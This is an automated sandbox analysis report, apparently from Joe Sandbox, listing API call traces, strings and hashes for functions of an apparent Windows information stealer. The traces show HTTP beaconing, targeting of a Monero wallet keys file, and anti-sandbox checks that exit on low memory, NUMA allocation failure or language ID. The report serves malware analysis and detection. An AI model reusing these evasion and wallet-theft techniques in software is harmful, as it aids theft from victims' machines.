GetProcAddress.KERNEL32(6FA70000,008DCD78), ref: 00D4A6FD

Strings

HttpQueryInfoA, xrefs: 00D4A5FC
InternetSetOptionA, xrefs: 00D4A5E5

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: a652647a8bedb82f41bac645b2c761131ee75924534df3b1c821a18e66c5980e
Instruction ID: 03d1c4cbc61866fd1660ee10c33f4ebe8bab3b610cd9e7bcac72d46d29f393c5
Opcode Fuzzy Hash: a652647a8bedb82f41bac645b2c761131ee75924534df3b1c821a18e66c5980e
Instruction Fuzzy Hash: 52621AB5504208AFD348DFA8ED8995E37F9F7CC201716851AA61DC3264D63A98C2FF63

Function 00D36280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34839
Part of subcall function 00D347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34849

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

InternetOpenA.WININET(00D50DFE,00000001,00000000,00000000,00000000), ref: 00D362E1
StrCmpCA.SHLWAPI(?,008DE4E0), ref: 00D36303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D36335
HttpOpenRequestA.WININET(00000000,GET,?,008DDA88,00000000,00000000,00400100,00000000), ref: 00D36385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00D363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D3646D
InternetCloseHandle.WININET(00000000), ref: 00D364EF
InternetCloseHandle.WININET(00000000), ref: 00D364F9
InternetCloseHandle.WININET(00000000), ref: 00D36503

Strings

ERROR, xrefs: 00D364C9
GET, xrefs: 00D3637C
ERROR, xrefs: 00D36407

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 8f70f7f9604c9066d9410de66ceeb9a3591f963a343a8105d56a04ce6885404a
Instruction ID: 2577da46c9b6528a0d03d9ddbe5fa3db44c0c9ebfe01b7f52115247d2d186c0d
Opcode Fuzzy Hash: 8f70f7f9604c9066d9410de66ceeb9a3591f963a343a8105d56a04ce6885404a
Instruction Fuzzy Hash: F8715F71A40218ABEB24DFA4CC49BEE7778FF44701F108198F5096B190DBB4AA85CF62

Function 00D45510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4A820: lstrlen.KERNEL32(00D34F05,?,?,00D34F05,00D50DDE), ref: 00D4A82B
Part of subcall function 00D4A820: lstrcpy.KERNEL32(00D50DDE,00000000), ref: 00D4A885

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45857

Part of subcall function 00D4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D4A7E6

Part of subcall function 00D451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45228

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

Part of subcall function 00D452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45318
Part of subcall function 00D452C0: lstrlen.KERNEL32(00000000), ref: 00D4532F
Part of subcall function 00D452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00D45364
Part of subcall function 00D452C0: lstrlen.KERNEL32(00000000), ref: 00D45383
Part of subcall function 00D452C0: lstrlen.KERNEL32(00000000), ref: 00D453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D4578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D45940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45A0C
Sleep.KERNEL32(0000EA60), ref: 00D45A1B

Strings

ERROR, xrefs: 00D4577D
ERROR, xrefs: 00D45693
ERROR, xrefs: 00D45932
ERROR, xrefs: 00D459FE
ERROR, xrefs: 00D45636
ERROR, xrefs: 00D45849

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 60628e0114aa94fff99429ac77e60d89df69b7b06214d7b097c1eea3cad2c412
Instruction ID: fab478a7b59183dd729af1a3969306e06b8f6b67735528ee0e4710c51d29941d
Opcode Fuzzy Hash: 60628e0114aa94fff99429ac77e60d89df69b7b06214d7b097c1eea3cad2c412
Instruction Fuzzy Hash: B2E11E769501089BDB14FBB4EC97AED7338EF94300F508528B50666196EF34AA4DCBB3

Function 00D417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00D417C5
ExitProcess.KERNEL32 ref: 00D417D1

Strings

block, xrefs: 00D417B7

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 6ef2d39a50a4ea13370b0747a44ab8dfbad2b4012f5025b06d9d0a0caba32153
Instruction ID: 872378a359984a43164757fa34284cbb92d55a02e698ecca10f68059506940ca
Opcode Fuzzy Hash: 6ef2d39a50a4ea13370b0747a44ab8dfbad2b4012f5025b06d9d0a0caba32153
Instruction Fuzzy Hash: 685143B9A1420AEFDB04DFA4D954BBE7BB5BB44305F108049E81AAB240D770E985DF72

Function 00D47500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D47542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D4757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47603
RtlAllocateHeap.NTDLL(00000000), ref: 00D4760A
wsprintfA.USER32 ref: 00D47640

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Strings

\, xrefs: 00D47560
C, xrefs: 00D4754C
:, xrefs: 00D4755C

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 431532822bc1db18e4264fe4e2c3d7d50ac6733e5ece21c070799c20d7221744
Instruction ID: 5e7afc32cd026c07d18de93a34a216481f68d57a9a25cda5a408f8625ea13496
Opcode Fuzzy Hash: 431532822bc1db18e4264fe4e2c3d7d50ac6733e5ece21c070799c20d7221744
Instruction Fuzzy Hash: 744181B1D04248ABDF10DF94DC45BEEBBB8EF48704F144199F50967280D774AA84CBB6

Function 00D469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D0570), ref: 00D498A1
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D0798), ref: 00D498BA
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D0600), ref: 00D498D2
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D0810), ref: 00D498EA
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D07B0), ref: 00D49903
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D8880), ref: 00D4991B
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008C6820), ref: 00D49933
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008C6840), ref: 00D4994C
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D07F8), ref: 00D49964
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D0828), ref: 00D4997C
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D05B8), ref: 00D49995
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D05D0), ref: 00D499AD
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008C69A0), ref: 00D499C5
Part of subcall function 00D49860: GetProcAddress.KERNEL32(75900000,008D05E8), ref: 00D499DE

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D311D0: ExitProcess.KERNEL32 ref: 00D31211

Part of subcall function 00D31160: GetSystemInfo.KERNEL32(?), ref: 00D3116A
Part of subcall function 00D31160: ExitProcess.KERNEL32 ref: 00D3117E

Part of subcall function 00D31110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D3112B
Part of subcall function 00D31110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00D31132
Part of subcall function 00D31110: ExitProcess.KERNEL32 ref: 00D31143

Part of subcall function 00D31220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D3123E
Part of subcall function 00D31220: __aulldiv.LIBCMT ref: 00D31258
Part of subcall function 00D31220: __aulldiv.LIBCMT ref: 00D31266
Part of subcall function 00D31220: ExitProcess.KERNEL32 ref: 00D31294

Part of subcall function 00D46770: GetUserDefaultLangID.KERNEL32 ref: 00D46774

Part of subcall function 00D31190: ExitProcess.KERNEL32 ref: 00D311C6

Part of subcall function 00D47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D311B7), ref: 00D47880
Part of subcall function 00D47850: RtlAllocateHeap.NTDLL(00000000), ref: 00D47887
Part of subcall function 00D47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D4789F

Part of subcall function 00D478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47910
Part of subcall function 00D478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D47917
Part of subcall function 00D478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D4792F

Part of subcall function 00D4A9B0: lstrlen.KERNEL32(?,008D8A30,?,\Monero\wallet.keys,00D50E17), ref: 00D4A9C5
Part of subcall function 00D4A9B0: lstrcpy.KERNEL32(00000000), ref: 00D4AA04
Part of subcall function 00D4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AA12

Part of subcall function 00D4A8A0: lstrcpy.KERNEL32(?,00D50E17), ref: 00D4A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008D8950,?,00D5110C,?,00000000,?,00D51110,?,00000000,00D50AEF), ref: 00D46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D46AE8
CloseHandle.KERNEL32(00000000), ref: 00D46AF9
Sleep.KERNEL32(00001770), ref: 00D46B04
CloseHandle.KERNEL32(?,00000000,?,008D8950,?,00D5110C,?,00000000,?,00D51110,?,00000000,00D50AEF), ref: 00D46B1A
ExitProcess.KERNEL32 ref: 00D46B22

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 741ff3814728a27feb226640984db7457a8b92567368ce9090b07525f494bea9
Instruction ID: daf7506ad8c9c499867baae75680c784f06872c1690c24ecbf5fc35296239abb
Opcode Fuzzy Hash: 741ff3814728a27feb226640984db7457a8b92567368ce9090b07525f494bea9
Instruction Fuzzy Hash: B6312870940209ABEB04FBF4DC56BEE7778EF44341F414518F602A2182DF70A945CAB3

Function 00D31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D3123E
__aulldiv.LIBCMT ref: 00D31258
__aulldiv.LIBCMT ref: 00D31266
ExitProcess.KERNEL32 ref: 00D31294

Strings

@, xrefs: 00D31233

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 62a4dab229024cfaf238bf2833ce69ffba03aa6233bfda1984ec2262e0d8b4b0
Instruction ID: fd73c530da668f46597e26511e9cfa144752eb07a4bfa1de234f005ff74c8c19
Opcode Fuzzy Hash: 62a4dab229024cfaf238bf2833ce69ffba03aa6233bfda1984ec2262e0d8b4b0
Instruction Fuzzy Hash: 3A016DB4D40309BBEB10EFE4CC4AB9EBBB8EB14705F248048E705B62C0D77495418BAD

Function 00D46AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008D8950,?,00D5110C,?,00000000,?,00D51110,?,00000000,00D50AEF), ref: 00D46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D46AE8
CloseHandle.KERNEL32(00000000), ref: 00D46AF9
Sleep.KERNEL32(00001770), ref: 00D46B04
CloseHandle.KERNEL32(?,00000000,?,008D8950,?,00D5110C,?,00000000,?,00D51110,?,00000000,00D50AEF), ref: 00D46B1A
ExitProcess.KERNEL32 ref: 00D46B22

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0d5dfb46824d8aaa39e9c95e2ed31ad929464c4ef5f4fed7b3c1257a34d9be14
Instruction ID: 59aa43c63c7ee39f69ae1c226f20b9de7e2c9da13724a7b908c72b56e9f0f064
Opcode Fuzzy Hash: 0d5dfb46824d8aaa39e9c95e2ed31ad929464c4ef5f4fed7b3c1257a34d9be14
Instruction Fuzzy Hash: 2CF0F870A4021DABE710ABA0EC0ABBE7B74EB45741F104914B517A51D1DBB09981EAB7

Function 00D347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34849

Strings

<, xrefs: 00D347C9

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
